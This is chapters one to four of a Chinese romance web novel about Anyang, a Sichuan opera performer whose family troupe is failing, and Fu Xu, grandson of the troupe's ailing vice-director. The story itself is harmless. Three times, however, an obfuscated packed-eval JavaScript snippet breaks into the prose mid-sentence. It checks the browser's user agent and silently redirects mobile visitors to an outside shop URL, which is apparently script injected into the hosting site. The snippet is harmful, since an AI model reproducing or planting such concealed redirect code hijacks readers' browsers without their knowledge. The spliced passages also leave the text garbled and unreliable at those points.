《她似人间好》 1. 第一章 已经是傍晚了,晚风吹进剧场的院子里,带着光秃秃的树枝唰唰作响。 安漾刚演完《皮金滚灯》,身上只穿着一件单薄的戏服,就这么被突如其来的妖风冻得一个激灵,小跑回了化妆间。 她妈妈任姿女士待会儿还要演下一场,现在早就换好了戏服,正坐在边上玩手机。 “卸了妆就赶快过去,不要磨蹭。”任姿听见开门的动静,从手机上抬起头来,指指桌面上的果篮,“把这个一起带去。” “好。” 她麻利地对镜卸妆,任姿撑着下巴看着镜子里的女儿,颇为得意地感慨道:“我的基因还是不错的。” 安漾笑着附和一声,脸上夸张的油彩已经脱落,未加修饰过的五官清丽明媚,羽睫簇拥着新月似的眼睛,笑时嘴角露出浅浅的梨涡,是一种很容易被读懂的漂亮。 “江奶奶的身体不是一直都挺好的吗?我上次回来还看她演了白素贞。” 安漾刚用清水洗过脸,扯了张洗脸巾擦干水珠,从镜子里与任姿对视。 “哎哟,年纪大了嘛,她都是你爷爷那一辈的人了,能演到现在也不容易。”任姿叹了口气,话锋一转:“你的面试准备得怎么样了。” 她收回眼神,说这话时不敢再看任姿,“马马虎虎。” 安漾刚从戏曲学院毕业不久,最近一直在忙着备考省川剧团,这次来自家的川剧团演出纯属是为了救场。 副团长江奶奶生病住院,团里本就人丁稀少,一时间竟找不出合适的替补演员,只好让她这个无业游民临时顶上。 安家再往上数三代,全部都是川剧演员。闻景川剧团就是从她太爷爷那会儿办起来的。 到了安漾这一代,她本以为自己会继续留在闻景,但任姿一心想让她拿个铁饭碗,劝她去考省剧团。 安漾自己倒无所谓,“在哪里演不是演。” “那不一样。”任姿可听不得这种话,她从沙发上站起来,“你是我的女儿,我肯定希望你有个稳定的工作,别哪天饿死街头了。” 她胡乱地点头。 自打她答应了要考省剧团,任姿隔三差五就要把这话拿出来说几遍,她都听得累了。 化妆间里沉默半晌,任姿又道:“说不定我以后也和江奶奶一样,到时候闻景就关门大吉喽。” 平静无波的语气,但安漾平白听出了些伤感。 她去换衣服,经过任姿面前时牵动嘴角,似是在自言自语:“一天天的净瞎说。” 音量很小,但任姿还是听见了,笑着拍了一下她的后背,“没大没小。” 天色暗下来了,夜里有些冷。安漾套了件足够厚实的外套,把拉链拉到顶,拎果篮出门。 “有点晚了,打车过去。”任姿嘱咐。 她说好,然后把门重重一关,去骑自己的摩托车。 夏天结束后,景城的气温断崖式下跌。 这座城市是没有秋天的。 好在她穿得够多,又戴了个全包裹式的头盔,全身上下都遮得严严实实,风刮得再狠也没有感觉。 江奶奶住院也是拜这低温所赐。上星期演出受了冷,当晚就心前憋痛。 安漾一家和江奶奶住一个小区,帮忙送去医院挂了个急诊,这才得知是冠心病。 这一病又带出并发症,演出紧急叫停。江奶奶在医院连住几天,外地的子女双双飞回来守在床前,光看这架势也能猜出病情不容乐观。 医院离剧场不远,安漾骑车十几分钟就到,径直到住院部大楼。 等电梯的空档,她才想起忘了问江奶奶住几楼,给任姿发消息。 任姿发来一个白眼的emoji:【没心眼的,这都能忘。】 她不服:【你不也忘了告诉我吗?】 任姿:【6。】 安漾当即狗腿地恭维:【妈你还怪潮的,网没白上。】 聊天界面上方,“妈妈”的备注跳成“对方正在输入”,等了许久,任姿终于发来了新消息:【......我是说江奶奶住6楼。】 安漾笑容凝固,老实闭嘴。 她关上手机,抬头盯着电梯屏幕上的红色数字不断跳转,眼前的光线蓦地暗下来。 夜晚,医院的人流量不比白天多,出于节能的考虑,电梯口特地关了两盏灯。 她微微别过头,看向刚站在自己身边的男人,高大的身材让本就不明亮的光线雪上加霜。 感觉到她的目光,他侧目看了她一眼 安漾偷看被抓了个正着,默默低头。 正是晚饭的时间,各间病房里饭菜的香味飘进走廊,盖过消毒水的气味。 她狠狠吸了吸鼻子,打算待会儿偷摸加个餐: 距离省剧团面试的日子不远了,任姿最近盯她跟盯犯人似的,一到晚上恨不得把厨房冰箱全部上锁。 原本倒也没什么,但今天演了一下午的戏,她肚子饿得咕咕叫。 这声异响在寂静的空间里格外明显,她原本就低下的头彻底抬不起来了。 好在电梯终于来了,她此地无银般干咳了两声,和身边的男人一前一后进去。 他按了楼层,朝她看过来。 “我也是六楼,谢谢。” 安漾抬眼望去,两人的目光短暂交汇一瞬。 男人的面部轮廓硬朗,高鼻深目,尽管眉宇间透着几分疲惫,却依旧带着生人勿近的气场。 恍惚间觉得有些眼熟,她在脑中检索了好几遍也没得出个结果,想多看几眼又自觉失礼,只好皱着眉头将视线下移。 一身深色系穿搭的男人,手上却提着一个玫粉色的饭盒。 安漾垂头,为这反差兀自笑了一下。 电梯行至六楼,她没再多想,跟在他身后出去了。 住院部大楼的内部是回廊式的设计,安漾第一次来,绕了一圈才找到病房的位置。 她确认了一遍病房号,抬手敲门。 男人的外套还搭在小臂上,内搭的黑色衬衫修饰紧实有力的腰身。 是刚才电梯里的人。 两个人皆是一愣,安漾又看了一眼病房号,确认自己没走错,迟疑片刻道:“请问江奶奶是住这件病房吗?” 对方的黑眸在她脸上一扫,没有说话。 她把果篮拎高,表明来意:“我是闻景的演员。江奶奶病了大家都很担心,但是还有其他演出要忙,我代表其他人来探望。” 他颔首,放她进来。 “呀,漾漾怎么来了?”江奶奶原本正看电视,见有人来了,眯着眼睛辨认了好一会儿,等她走近了才认出来:“任姿说这几天都是你在演,辛苦你了。” “不辛苦不辛苦。”安漾笑得眉眼弯弯,把果篮放在桌上,“我妈本来也想来的,但是今天晚上还有一场,我就替她来陪陪你。” 闻景川剧团的团长是她妈妈任姿,但副团长江奶奶资历深厚德高望重,更是团里的灵魂人物。 江奶奶的儿女都不在景城,平时有个小病小痛都是安家在帮忙。安漾从小就爱和她待在一起,关系好得跟一家人没差。 “这是我外孙,傅栩。”江奶奶抬手一指,“他跟他爸妈平时都在明京,一听说我生病就全回来了。” 傅栩刚打开那个玫粉色的饭盒,听见自己的名字后动作一顿,朝她点头致意。 幽深的眸中没有任何情绪,像一潭未知深浅的池水,带着不可预知的危险。 安漾勉强地勾唇,回以礼貌的微笑。 “我说哪里用得着这么麻烦,住几天院不就好了嘛。”江奶奶虽是抱怨,话里却有藏不住的笑意:“唉,回来陪陪我也好。他也是个没良心的,平时都忙着工作,一年到头都见不到几次。” 傅栩在一旁静静听着,把病床上的小桌升上来,端上饭菜。 出于江奶奶的身体考虑,桌上的都是些清淡小菜。 安漾作为地道的景城人,原本是无辣不欢的。但这菠菜枸杞玉米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110804|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粥炖得软烂浓稠,香味直往她鼻子里钻。 “漾漾吃晚饭了吗,要不要一起吃点?”江奶奶察觉到她落在桌上的视线。 安漾的确已经很饿了,但抢病人的晚饭这事多少有点不像话。 “没事,我不饿。” 闻言,一直没说话的傅栩突然轻咳一声。 她想起不久前在电梯口,她的肚子刚鸣过冤,他就在旁边。 一时有点心虚,她硬着头皮解释:“省川剧团快要面试了,我最近不吃晚饭。” 提起省剧团,江奶奶把手里的筷子放下了。 她看看安漾,无奈道:“确定要去省剧团了吗?” 安漾耸耸肩,开玩笑的语气:“我妈都给我做了那么久思想工作了,我要不去估计得被扫地出门。” “现在闻景日子不好过,你进省剧团也好。”江奶奶完全理解任姿的决定。 安漾一愣,不太明白江奶奶的意思。 她小时候几乎天天都待在剧团,看着江奶奶领一帮人演川剧。直到几年前,她考上戏曲学院,连回家的时间都少了许多,任姿也有意不让她掺和闻景的事。 这几天她补江奶奶的缺,去剧团的时间比过去一年加起来都要多。 见她一脸茫然,江奶奶也不再说下去,只是拉过她的手,语重心长地嘱咐她:“不管在哪里都要好好演。” 病房里的气氛突然沉重起来,安漾敏锐觉出异常,转移话题:“我明天要演《人间好》了。” “小时候就喜欢看我演这个,终于自己也能演了。”江奶奶拍拍安漾的手背,惋惜道:“可惜我不能去看。” 开着空调的室内,她苍老起皱的手却还是冰凉。 安漾反握住她的手,想给她传递一点温度,“没关系,我录个视频,明天带来给你看 。” 江奶奶被她哄得开心,两人又接着聊了一些演出的事。直到江奶奶的儿子过来换班,安漾才注意到时间不早了,准备离开。 “傅栩,你跟漾漾一起回去。”江奶奶冲着沙发上的人说:“漾漾一个女孩子,这么晚了不安全,你把她送到楼下。” 傅栩看她一眼,“知道了。” 安漾其实不怎么想让他送,她自己有车,又跟傅栩不熟,路上指不定多尴尬。 但江奶奶一番好意,她没好意思拒绝。 一路沉默,安漾等到进了电梯才说话:“你不用特地送我,我有车。” “不是特地。”傅栩和她一人站一个电梯角落,杵在门口,跟俩门神似的。 安漾不解。 “我住外婆家,和你一个小区,顺路。” 重点是顺不顺路吗?安漾为他的阅读理解能力捏了把汗,耐着性子解释:“我的意思是,我有车,不用你送我。” 电梯到达一楼,傅栩抬眼,“那你送送我?” 她脚步顿住,脸上的表情僵硬,“你确定要坐我的车?” “如果你愿意的话。” 安漾沉了口气,她如果说不愿意,是不是有点不给人面子? “好,你跟我走。” 她的车停在医院外,拧一下钥匙,摩托车雪白的车灯唰地亮起。 “坐吗?”安漾靠在车边,拍拍自己的后座。 街边的路灯一排排亮着,橙黄色的灯光打在傅栩的脸上,本就深邃的五官更加立体。 傅栩望着眼前线条流畅造型奇特的黑色机车,拧眉,“算了,我自己打车。” 安漾本就不打算送他,但这人打量她车时的眼神着实让人不爽。 她从边包里取出一个旧头盔,扔给他,“戴上,我送你。” 傅栩下意识地接住,原本就拧紧的眉头在看见头盔上的两只猫耳后,立马变成了死结。 两人在路边僵持了几分钟,最后以傅栩绝望闭眼,戴上猫耳头盔告终。 “这是头盔,不是炸药。” 安漾瞥见他视死如归的表情,在夜色的遮掩下笑了。 2. 第二章 等傅栩坐好,她满意地跨上车。 出发。 傅栩坐在后座,这位置着实是刁钻。一八五的个子费力地抬起双腿,才不至于两脚贴地。 女孩的长发有一半都被压在头盔里,露出的一截发尾随风扬起,盈着清浅的果香,在他面前张牙舞爪。 他默不作声地压下安漾的头发,心里暗自庆幸这里是景城,没什么人认识他。 否则就会看见他戴着粉色的猫耳头盔,坐在女孩的后座上大鸟依人。 风从耳边呼啸而过,安漾心情大好,还关心起后排的乘客,“你吃晚饭了吗?我一会儿加餐,你要不要一起?” “你不是不饿吗?”傅栩的声音从后面幽幽传来。 这人不拆她台能憋死吗? 安漾的笑容凝在嘴角逐渐消失,“你,下去。” 摩托车停在路边,傅栩艰难下车,动作异常迟缓: 这辆车的后座有一个上翘的弧度,他的腿早就麻了,为了和她保持距离不滑下去,腰上还要默默发力。 傅栩疑心是自己把她惹毛了,还没来得及开口说点什么,十字路口执勤的交警就来了。 “你好,驾驶证出示一下。” 她配合地递出证件,顺带剜了傅栩一眼。 他预感自己可能要走路回去了。 交警垂眼扫过证件,一抬头注意到傅栩的头盔,仔细端详了一阵,才把证件返还给她。 安漾诧异,转头和交警一齐看过去。 傅栩薄唇绷紧,生无可恋地顶着她的少女粉猫耳头盔,往那一站有种说不出的魔幻。 交警职业素养过硬,憋着笑冲她点头,“很好,骑车就是要戴好头盔,继续保持。” 她没受过交警那样专业的训练,噗地一声笑出来。 傅栩看她笑到伏在车把上,突然有点担忧她的精神状态:“你备考压力很大?” 安漾笑完了,斜睨他一眼,“就你话多。” 如果不是看在江奶奶的面子上,她真的想把这人扔路边吹冷风。 平安无事地抵达小区门口,安漾把车停好,“我去加餐了,你自己先回去吧。” 说罢,她头也不回地奔向亮灯的小吃摊。 傅栩刚刚摘下头盔,一抬头人都跑没了,找了好一阵才看到一个小小的背影。 他低头看看手里的头盔,叹了口气,往安漾的方向走去。 这家小摊卖烤红薯和水煮玉米,安漾虽然嘴馋,但心里尚且还有个度。不能吃得太放肆,买根玉米,过过嘴瘾就算完。 老板在这一带摆摊多年了,早就和她熟识,利落地扯个塑料袋帮她装好,和她八卦:“男朋友?” 她没明白意思,回头一看,傅栩正抱着头盔站在她身后,掏出手机扫她旁边的付款码。 “多少钱?”他问。 老板报价,安漾这才反应过来,答:“不是,不熟。” 对方意味深长地看她一眼,笑而不语。 她撇撇嘴,冲傅栩道了声谢谢,等远离了小摊才掏出手机:“我把钱转你。” “当是你送我回来的谢礼。”他不以为意:“走吧,我送你到楼下。” “你还真听江奶奶的话。”安漾咬下一口玉米,软糯的颗粒带着甜香在唇齿间绽开。 大满足。 头盔还在手里,傅栩看着正在吃东西的安漾,打算等等再还给她。 “我之前经常去江奶奶家,好像没见过你。”她仔细回想了一会儿,“不常回来?” “工作忙。” 安漾侧目打量着身边的人,将玉米当作话筒递到他面前,清清嗓子拗出播音腔:“师傅你是做什么工作的?” 他皮肤白,想必不会是什么风吹日晒的工作;张口就得罪人,肯定也不是需要跟人打交道的职业;长得倒是好看,应该能靠脸吃上饭。 “华悦唱片知道吗?”他问。 安漾点头。 她当然知道,华悦是国内首屈一指的唱片公司,她喜欢的好几个歌手都签在其名下。 今天在电梯里,她偷偷注意过傅栩的手。 干净修长,骨节分明,确实适合玩乐器。 傅栩哪里知道她正在脑海中严谨分析,张口就来:“华悦大楼的水泥是我打的。” 安漾:...... 这人满嘴跑火车,她就多余问。 “安漾。” 身后突兀传来了一声叫喊,安漾一颤,即刻辨认出了声音的主人,手里刚吃几口的玉米险些自由落体。 幸亏她眼疾手快,把玉米塞到傅栩手里,转身笑得人畜无害:“妈妈你怎么才下班?” 任姿早就看见那点小动作了,拎着包快步上前。 她先是留意到安漾嘴角的可疑痕迹,又看见状况外的傅栩和他手里的玉米,脸色顿时沉下去。 安漾预感到一场腥风血雨即将来临,赶紧推出傅栩转移视线:“这是江奶奶的外孙,和我们住一个小区。” 他大概明白了现在的情况,朝任姿微微倾身,“阿姨您好,我是傅栩。” 任姿只简单打声招呼,并没有被安漾的小把戏转移注意力,眼神回到她身上,“我是不是再三和你强调过,晚上不要吃东西?” 是问句,但话中的威慑力逼人。 安漾不敢反驳,埋下头,老实得像只鹌鹑,闷闷地“嗯”一声。 “不是不让你吃,等你过了面试,想怎么吃我不管你。”大概是考虑到在外人面前,任姿给她留了面子,语气放温柔了点:“但是现在,关键时期,你要是因为形象不过关落选,之后怎么办,你想过吗?” 安漾暗戳戳地撞了一下傅栩的胳膊,递过去一个求助的眼神。 傅栩会意,主动开口:“阿姨,是我请安漾吃的。” “她骑车送我回家,我原本想请她吃饭,她不好意思拒绝,只要了根玉米。” 他语气诚恳目光真诚,但安漾听了只觉得两眼一黑。 她完蛋了。 果然,任姿捕捉到关键词,手指不轻不重地点着她的额头:“你还敢骑车?” 她就是想否认也没办法,头盔就在傅栩手上,那两只猫耳还大喇喇地竖在那里。 “我就今天骑一下。”她试图挣扎。 “早就跟你说过了打车去,大晚上的,你还想摔一次是吧?”任姿双手抱胸,“好了伤疤忘了疼,我真是要被你气死。” 安漾早就有过骑车摔倒的光辉历史,本也不是什么大事。 但省剧团的面试越近,任姿就越是提心吊胆,一切有安全隐患的事都明令禁止,比安漾本人还紧张。 “不气不气,你气死了我和老安怎么办?我俩离不开你。”安漾见势立马贴过去,讨好地挽住她的胳膊,另一只手作发誓状,“我以后绝对不吃玉米这种邪恶的东西。” “但是可以吃钵钵鸡麻辣烫和狼牙土豆,是吧?”任姿被她逗笑,隔着外套掐一把她的腰,“我还不知道你?” 正手持邪恶玉米的傅栩:? “而且不去省剧团也没关系啊,我留在闻景也可以,就像你一样。”见任姿的面色有所缓和,安漾继续给她顺毛。 但这话甫一出口,她就算是踢着铁板了。 任姿冷哼一声,抽出被安漾抱住的手臂,“你来不了闻景。” 气氛霎时间降至冰点,安漾和傅栩双双望向她。 “闻景不是缺演员吗?我演得也不差,实在找不到新人,我来补上就好了。” 安漾说完,突然想起今晚在医院,她提起剧团时,江奶奶神色中那抹一闪而过的苦涩。 “安漾。”任姿静静地看着她,话中似有千钧重:“我现在是以团长的身份在和你说话。” “我可以很明确地告诉你,闻景不会要你。你给我踏踏实实准备省剧团的面试,其他的,什么都不要想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110805|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 任姿撂下话,扬长而去。 安漾心里泛酸。在她的记忆力,任姿几乎从来没有用这种语气和她说过话,她们之前的关系比起母女,倒更像是朋友。 傅栩陪她在风口上站了一会儿,手里还拿着那根邪恶的玉米。 晚风吹得她的发丝飘扬,也把玉米的香气吹得四散。 她又饿了。 安漾暗自谴责了一通自己不争气的肚子,一把拿过剩下的玉米吃起来。 傅栩无语:“你刚还说不吃这种邪恶的东西。” 她忙着吃东西,头都懒得抬,“消灭邪恶势力。” 难得能在晚上吃顿饱饭,安漾把一根玉米吃得干干净净,和擦嘴的纸巾一起扔进垃圾桶。 “江奶奶有没有和你提过闻景的事?”她还是不明白任姿的态度为什么这么强硬。 傅栩常年待在明京,尤其是工作之后,鲜少见到外婆。 但她这样一问,他也确实想起来了:“去年春节的时候,听她提过几句。说找不到年轻演员,剧团里的人越来越少。” “所以我去闻景不是正好吗?”安漾两手一摊,“而且我一直以为,我毕业之后一定会去闻景。” 任姿就是这样。 从戏曲学院毕业后一头扎进闻景,和她爸爸老安相识结婚,最后从她爷爷手上接过团长重任。 老安早早改行,而任姿一手操持剧团,一直都是她的偶像。 但在安漾毕业前夕,任姿敲开了她的房门,苦口婆心地劝她报考省剧团。 “‘也不为别的,就图个安稳’,我妈当时就是这样跟我说的。” 安漾从小被放养长大,大部分的选择都是她自己决定的。她很难理解为什么任姿在这件事上如此坚决,但她愿意相信她的判断。 傅栩和她走到单元楼下。 这条路上就两盏灯,有一盏还坏掉了。安漾的五官融进夜色中,辨不清说话时的表情。 “那你自己怎么想?想去省剧团,还是留在闻景?” 黑暗里,他的声音低沉却温和,像下雨天潮湿的草地。 安漾抬头望着那盏坏掉的路灯,认真思考了很久才答:“我也不知道。” 她是个没有野心的人,不管去省剧团还是留在闻景,于她而言,只是舞台大小和观众多少的差别。 “我很小的时候就看过江奶奶演《人间好》,她演白鳝仙姑,那件白色的戏服特别漂亮,头冠上的翎子一颤一颤的。” 安漾那时候才六七岁的年纪,等江奶奶下台了,跟着她到化妆间,问她:“我能不能演这个?” 江奶奶捏捏她的手,“等我们漾漾长大就能演了。” “我没怎么看过她演戏。”傅栩说。 他只知道外婆演了一辈子川剧,是剧团里的副团长。其余的,就是一个爱唠叨的小老太太,提醒他在外注意身体,好好吃饭,隔三差五询问他什么时候来景城看看,和别人的外婆没什么不同。 他也是第一次从别人口中认识外婆。 “我只要去一个能让我演《人间好》的剧团就好了,其他的都不重要。”她打开单元门,回眸笑问:“我明天就在闻景演这出,演白鳝仙姑,你要不要来看?” 安漾的眼睛生得很有辨识度,笑着看人时,深色的瞳眸是一片诱人沦陷的沼泽。 今晚在电梯口遇见的时候,傅栩只一眼就认出了她。 隔了许多年没见,他的记忆本该模糊,但只是四目相对一瞬,他就无比确定是她。 他扬起唇角,“好。” 安漾挑眉,“那你自己买票去。” 见傅栩欲言又止,她赶紧抬手:“就算你是江奶奶的外孙,也不能逃票。” “剧场见。”安漾关门,消失在他的视线里。 傅栩低头看着手里的头盔,两只猫耳正被风吹得轻轻晃动。 他只是想把头盔还给她而已。 3. 第三章 夜里下了一场大雨,第二天醒来天色依旧阴沉。 这种天气在景城再正常不过,安漾起了个大早,骑车去剧团。 闻景川剧团在一个老街区,街口开着一家早餐铺,门口摆上蒸包炉,旁边架一口炸油条的铁锅。 她停车,买了豆浆油条给任姿。 昨晚回家后任姿还在气头上,不肯理她。 今早醒来,家里只剩她和老安,一问才知道任姿来剧团了。 这会儿她带着早餐去认错,一踏进剧团就看见傅栩站在院子里。 “早。”安漾走近,闻到他衣服上清爽的薄荷味。 她顺着他的视线看过去,剧团乐队的几个叔叔正围在一块儿打麻将。 “你会不会打?”安漾抬头,小声问他。 “会一点,回景城过年的时候会陪长辈打。” “下次一起。”她来了兴致,“我保证让你输得只能走路回明京。” 傅栩低笑一声:“行。” 她没时间在院子里待太久,哄好了任姿还得化妆候场,临走前问:“要不要去化妆间参观一下?那里有江奶奶的演出照。” 他点头,跟她绕到后院。 安漾推开化妆间的门,头先探进来,“妈?” 任姿目不斜视地化妆,懒得搭理她。 她只好把早餐放在梳妆台上,“你吃早餐了吗?我给你带了。” “吃了。” 还是冷冰冰的语气。但没关系,安漾的脸皮够厚。 她先从五斗柜里翻出几本相册,一股脑的全部交给傅栩。 把他安顿好了,才又贴到任姿身边,可怜巴巴地卖惨:“那你陪我再吃点吧,等会儿要演一上午,别饿着了我可心疼。” 等等。 话一出口她才意识到不对:“你不是演下午那场吗,怎么现在就化妆了?” “我今天演两场。” “我怎么没听说?”安漾打开手机,疑心自己遗漏了剧团群里的消息,一边翻聊天记录一边问:“你演谁?” “白鳝仙姑。”任姿终于画好了妆,放下手里的化妆刷,宣判一般:“安漾,从今天开始,你不用再来闻景了。” 安漾到这时才明白,任姿昨天的话并不是一时的气话,她是真的不让她来闻景了,就连这个临时演员也不让她来做。 偏偏是在她马上就能演《人间好》的节骨眼上。 傅栩坐在不远处,听到两人的对话,正在翻相册的手停住了。 但他的眼睛还落在相册上。 眼前是一张已经泛黄的照片,照片上的外婆比现在要年轻许多,穿着白色的戏服,上面零星印着红蓝两色的话多,想必这就是白鳝仙姑。 白鳝仙姑身边站着一个小女孩,拉着她的手,笑得明媚灿烂。 距离这张照片很多年以后的今天,那个眼睛笑成弯月的女孩正在另一位白鳝仙姑身边。 傅栩抬起头,正好看见安漾双眼通红。 两人对视一瞬,安漾率先移开了视线。 她自觉这副模样太过狼狈,垂下头,不想被人看见。 傅栩也很识趣,继续翻阅着手里的相册。 江奶奶的照片有很多,她演《芙奴传》,抱一把琵琶,黛眉微蹙神色哀切,表现力感染力都是一绝。 又演《逼侄赴科》,演《离恨天》,几十年过去了身段依旧挺拔,但岁月的痕迹悄然攀上眉梢。 泛黄的照片串联起她的前半生,傅栩得以从中窥见外婆未曾见过的面貌。 他每年在景城的日子屈指可数,自然也没什么心思关心外婆的事业。只看照片,很难把上面气质超群的演员和病床上的老人联系在一起。 他十八岁出国学音乐,只在那个暑假来闻景看过一次。 他坐在观众席里听外婆唱完,正准备离开,又看见她领上来一个十几岁的少女。 女孩的水袖甩得极好,像流云又似水波,笑着唱词时,眼睛时两弯新月。 后来在距离景城一万多公里的陌生过度,傅栩为这双眼睛写过很多段旋律。 “为什么?”坐在任姿身边的安漾调整好了情绪,终于能开口说话。 “你明明知道我一直想演《人间好》,我已经准备很久了。” 没说两句,她的声音又染了哭腔,只能深吸一口气,硬生生压下心里翻涌的情绪。 “你以后还有很多机会演,但不是在这里。”任姿把她晾在一边,等把桌上收拾好了才继续说道: “分清轻重缓急,你现在该担心的不是这个。” 安漾咬唇,“你毕业就来了闻景,为什么我不可以?去不去省剧团对我不重要,只要能演,在哪里都一样。” “只要能演?”任姿冷笑,转过头直视她,“安漾,你要是留在闻景,不要说上台,有没有饭吃都不一定。” 字字句句如当头一棒,敲得安漾错愕。 傅栩依旧埋首于相册,不动声色地听着两人的对白。 化妆间里一片死寂,安漾久久说不出话来,但任姿没有给她时间消化信息: “之前没告诉你,是不想要你担心,你就非得跟我死犟。” “这几年的行情你知道,学川剧听川剧的人都少。我们一个民间剧团,没有别的保障,全靠着每天的票钱和跑商演吊着一口气,剧场租金、演员工资、日常开销,哪一样不要钱?我实话告诉你,闻景能不能撑到明年都难说。” 任姿说完,这才瞥见安漾愈发无措的眼神。 她的心一下子软下来,心下暗自谴责自己对她说了重话,一改先前冷冰冰的语气,拍拍安漾的肩膀,叹息道: “你是我的女儿,我不想让你操心这些。你就好好准备面试,闻景是家里几代人的心血,妈妈会想办法。” 说罢,任姿起身,对着镜子戴好头冠,默默离开了化妆间。 房间里再度归于平静,傅栩走到她身边,递了张纸。 安漾回过神来,用手摸了一下自己的脸,这才发现自己正在流眼泪。 “谢谢。”她擦干眼泪,深呼吸调整情绪,“你看到江奶奶的照片了吗?” “看到了。”傅栩在她身边坐下,“还有你们的合影。” “我小时候最想演的就是白鳝仙姑,那件戏服很漂亮,我趁着这里没人,偷偷穿过好几次。” 她环顾这间再熟悉不过的化妆间。 剧场里里外外都翻新过几次,这里还不算陈旧。 安漾幼年时在这里玩,小学在这里写作业,艺考前在这里和其他演员一起练功。 闻景是她二十来年人生的原点。 如果闻景真如任姿所说的那样迎来倒闭的那天,这里也将不复存在。她的记忆会和这座老剧场一起尘封过期。 化妆间和舞台仅有一墙之隔,老房子的隔音效果不好。 安漾听见了乐声响起,任姿的声线清亮婉转。 手眼身法步她全部烂熟于心,此刻在台上的人本该是她。 她听任姿唱了一会儿,等情绪稳定下来了,对傅栩道:“我带你去剧场。” 闻景的剧场很小。他们来得太晚,只能坐在最后一排。 一眼望去,前面全是白花花的后脑勺。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110806|149765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 来听戏的都是老人,考虑到这一点,闻景川剧团的票价都订得很低,时间也尽量贴合老年人的需求: 早上一场,老人早起买完菜就来看,演两个小时,散场正好回家做饭。 下午两场,吃完饭睡个午觉正好赶上,看完正好有时间接孙女孙子放学。 偶尔晚上加场,安漾戏称老年版live house。 这会儿,剧场的桌子上还摆着各式的茶杯和菜篮。 任姿在台上唱得卖力,两手抓住头冠上的翎子,模仿船桨与水波,在空中划出优美的弧度。 白鳝仙姑初到景城,看什么都新奇。左顾右盼时,头冠上的翎子也随之颤动。 “这个叫颤翎子,是川剧演员的基本功。”安漾压低了音量给他科普:“但是在四川话里,颤翎子和显眼包是一个意思。” 傅栩垂眸,女孩正专心看着台上的表演,刚哭过的双眼还是红肿,但脸上早已没了刚才的委屈。 她正漫不经心地看着舞台上的人,一手撑着下巴,若有所思。 等台上的任姿唱到“尘世间处处都把人引诱/更比仙府胜一筹”,她突然开口,一字一句铿锵有力。 “你昨天问我的那件事,我想好了。” 剧场里的乐声太大,傅栩为了听清她讲话,稍稍低下头,“什么事?” 安漾一偏头,两人之间的距离便近得过分了。 他衣服上淡淡的薄荷味落在鼻尖,安漾的脸有些热,与他拉开距离,看向舞台上的任姿,正色道: “我要留在闻景,除了这里,我哪儿都不去。” “我不会让闻景倒闭。” 傅栩早猜到了她的选择,只是没想到她的决定下得如此之快。 他只是看着她,什么也没说。 演出结束临近中午。 安漾昨晚答应了江奶奶,要录演出视频给她看,虽然今天压根没演上,但她不想食言。 观众各自离去,方才还拥挤的剧场此刻无比空旷。 她去后台找了一圈,没看见任姿。 安漾放心了,将傅栩带到头排正中间的位置,“等我一会儿。” 她去化妆间换上白鳝仙姑的戏服,又戴好头冠,把手机交给他,“帮我录个视频给江奶奶。” 傅栩点头答应,调整好镜头。 一袭白衣的安漾小步跑上台。 时间匆忙,她没来得及化妆,朝台下的傅栩扬起唇角,做了一个OK的手势,“开始吧。” 下一秒,她起势,缓步来到舞台中央,一个轻盈的转身,戏服的衣角摆动若涛涛水花。 乐队下班了,也没有帮腔,她葱白的手指捻住两根翎子,独自开唱: “江山如画就/稻禾遍田畴......” 台上的白鳝仙姑灵动活泼,在手机的取景框内顾盼生姿。 傅栩拉近焦距,她的一颦一笑变得清晰。 他有些恍惚,不知道年轻时的外婆是否也和安漾一样,在台上演绎千差万别的人生。 条件有限,安漾只唱了一小段,就拎着戏服长长的下摆,跑到他身边,“怎么样?” 他挑眉,把手机递给她,“你看看。” 他虽不是科班出身,但对摄像也略有涉猎,勉强能算半个专业人士。 安漾看他信心满满,打开手机相册浏览一遍,抬头给予死亡凝视,“不是,哥们儿。” “你录哪儿去了?”她把手机怼到他面前,上下滑动着相册。 傅栩一怔。 他确实认认真真举着手机记录了全程,但忘记按录像键。 4. 第四章 “抱歉,纯属意外。”傅栩尴尬地移开视线,躲避她的凝视。 安漾气笑,“你给华悦的大楼打水泥的时候也这么不小心吗?” 视频被搅黄,两人大眼瞪小眼坐了许久,最后她换下戏服,还是决定去趟医院。 江奶奶在闻景的话语权不输任姿,安漾想从她那处下手,让她帮忙劝劝任姿。 傅栩吸取了昨晚坐摩托车后座的惨痛经历,提前打了车,安漾只能把自己的车留在剧团。 路过车前时,她恍然大悟一般:“你就是不想戴猫耳头盔吧。” 傅栩不置可否。 车里有些闷,他把车窗开了条缝,新鲜空气灌进来,一下子舒服多了。 “你要留在闻景,那任阿姨那边怎么交代?” 